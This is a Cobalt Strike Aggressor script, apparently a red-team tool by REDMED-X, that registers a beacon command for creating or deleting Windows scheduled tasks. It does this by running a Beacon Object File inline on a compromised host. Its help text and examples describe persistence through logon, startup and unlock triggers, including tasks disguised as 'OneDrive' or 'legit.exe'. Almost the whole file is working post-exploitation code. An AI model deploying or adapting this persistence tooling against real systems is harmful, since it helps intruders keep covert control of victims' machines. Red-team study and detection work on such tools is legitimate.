taskscheduler.cna 6.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112
  1. # author REDMED-X
  2. beacon_command_register(
  3. "taskscheduler", "Create or delete a scheduled task.\n",
  4. "INFO:\nCreate or delete a scheduled task.\n\n" .
  5. "BASIC PARAMETERS:\n[create]: Indicate that you want to create a new scheduled task.\n[delete]: Indicate that you want to delete an existing scheduled task.\n[taskName]: The name of the scheduled task.\n[programPath]: Path to the program that you want to run like: C:\\Windows\\System32\\cmd.exe.\n[programArguments]: Arguments that you want to pass to the program like: \"/c C:\\Windows\\System32\\calc.exe\" or \"\" to leave it empty.\n[triggerType]: The trigger that signals the execution like: onetime, daily, logon, startup, lock, unlock. For more information, check the TRIGGER OPTIONS below.\n\n" .
  6. "TRIGGER OPTIONS:\n[onetime]: Create task with trigger \"On a schedule one time\".\n[daily]: Create task with trigger \"On a schedule daily.\"\n[logon]: Create task with trigger \"At log on\" (requires admin privs if set for another user or all users).\n[startup]: Create task with trigger \"At startup\" (requires admin privs).\n[lock]: Create task with trigger \"On workstation lock\" (requires admin privs if set for another user or all users).\n[unlock]: Create task with trigger \"On workstation unlock\" (requires admin privs if set for another user or all users).\n\n" .
  7. "TRIGGER SPECIFIC PARAMETERS:\n[startTime]: Start time of the trigger in format: 2023-03-24T12:08:00.\n[expireTime]: Expiration time of the trigger in format: 2023-03-24T12:08:00.\n[daysInterval]: Interval in number of days. For example: 1 or 3.\n[delay]: Random time delay after the start time in which the trigger is hit. Use format \"PT2H\" for hours and \"PT15M\" for minutes.\n[userID]: Specify the user for which the trigger is set in format: \"DOMAIN\\username\" for domain users, \"username\" for local system users and \"\" for all users (requires admin privs if set for another user or all users).\n\n" .
  8. "USAGE:\ntaskscheduler create <taskName> <programPath> \"<(optional) programArguments>\" onetime <startTime>\ntaskscheduler create <taskName> <programPath> \"<(optional) programArguments>\" daily <startTime> <(optional) expireTime> <(optional) daysInterval> <(optional) delay>\ntaskscheduler create <taskName> <programPath> \"<(optional) programArguments>\" logon <(optional) userID>\ntaskscheduler create <taskName> <programPath> \"<(optional) programArguments>\" startup <(optional) delay>\ntaskscheduler create <taskName> <programPath> \"<(optional) programArguments>\" lock <(optional) userID> <(optional) delay>\ntaskscheduler create <taskName> <programPath> \"<(optional) programArguments>\" unlock <(optional) userID> <(optional) delay>\ntaskscheduler delete <taskName>\n\n" .
  9. "EXAMPLES:\ntaskscheduler create TestTask C:\\Windows\\System32\\cmd.exe \"/c C:\\Windows\\System32\\calc.exe\" daily 2023-03-24T12:08:00 2023-03-28T12:14:00 1 PT2H\ntaskscheduler create NewTask C:\\Users\\Public\\Downloads\\legit.exe \"\" logon Testdomain\\Administrator\ntaskscheduler create OneDrive C:\\Data\\OneDrive.exe \"\" unlock \"\" PT5M\ntaskscheduler delete TestTask\n\n");
  10. alias taskscheduler {
  11. $bid = $1;
  12. $action = $2;
  13. $taskName = $3;
  14. $programPath = $4;
  15. $programArguments = $5;
  16. $triggerType = $6;
  17. $optionalArg1 = $7;
  18. $optionalArg2 = $8;
  19. $optionalArg3 = $9;
  20. $optionalArg4 = $10;
  21. # Verify user input
  22. if ($action eq "create" || $action eq "delete") {
  23. if($action eq "delete") {
  24. if ($taskName eq "") {
  25. berror($bid, "Please specify the name of the scheduled task that you want to delete.\n");
  26. return;
  27. }
  28. }
  29. if($action eq "create") {
  30. if ($taskName eq "") {
  31. berror($bid, "Please specify a name for the new scheduled task.\n");
  32. return;
  33. }
  34. if ($programPath eq "") {
  35. berror($bid, "Please specify the path to the program that you want to run\n");
  36. return;
  37. }
  38. if ($triggerType eq "") {
  39. berror($bid, "Please specify one of the following trigger options: onetime | daily | logon | startup | lock | unlock\n");
  40. return;
  41. }
  42. if ($triggerType eq "onetime" || $triggerType eq "daily" || $triggerType eq "logon" || $triggerType eq "startup" || $triggerType eq "lock" || $triggerType eq "unlock") {
  43. if ($triggerType eq "onetime") {
  44. if ($optionalArg1 eq "") {
  45. berror($bid, "Please specify the start time of the task in the following format: 2023-03-24T12:08:00.\n");
  46. return;
  47. }
  48. }
  49. if ($triggerType eq "daily") {
  50. if ($optionalArg1 eq "") {
  51. berror($bid, "Please specify the start time of the task in the following format: 2023-03-24T12:08:00.\n");
  52. return;
  53. }
  54. }
  55. }
  56. else {
  57. berror($bid, "This trigger option is not supported. Please select one of the following options: onetime | daily | logon | startup | lock | unlock\n");
  58. return;
  59. }
  60. }
  61. }
  62. else {
  63. berror($bid, "Please specify one of the following options: create | delete\n");
  64. return;
  65. }
  66. # Read in the right BOF file
  67. $handle = openf(script_resource("taskscheduler.o"));
  68. $data = readb($handle, -1);
  69. closef($handle);
  70. # Pack our arguments
  71. if ($action eq "delete") {
  72. $arg_data = bof_pack($bid, "zZ", $action, $taskName);
  73. blog($bid, "Tasked to delete scheduled task..");
  74. }
  75. else {
  76. blog($bid, "Tasked to create scheduled task..");
  77. if ($triggerType eq "onetime") {
  78. $arg_data = bof_pack($bid, "zZZZzZ", $action, $taskName, $programPath, $programArguments, $triggerType, $optionalArg1);
  79. }
  80. if ($triggerType eq "daily") {
  81. $arg_data = bof_pack($bid, "zZZZzZZiZ", $action, $taskName, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2, $optionalArg3, $optionalArg4);
  82. }
  83. if ($triggerType eq "logon") {
  84. $arg_data = bof_pack($bid, "zZZZzZ", $action, $taskName, $programPath, $programArguments, $triggerType, $optionalArg1);
  85. }
  86. if ($triggerType eq "startup") {
  87. $arg_data = bof_pack($bid, "zZZZzZ", $action, $taskName, $programPath, $programArguments, $triggerType, $optionalArg1);
  88. }
  89. if ($triggerType eq "lock") {
  90. $arg_data = bof_pack($bid, "zZZZzZZ", $action, $taskName, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2);
  91. }
  92. if ($triggerType eq "unlock") {
  93. $arg_data = bof_pack($bid, "zZZZzZZ", $action, $taskName, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2);
  94. }
  95. }
  96. beacon_inline_execute($bid, $data, "go", $arg_data);
  97. }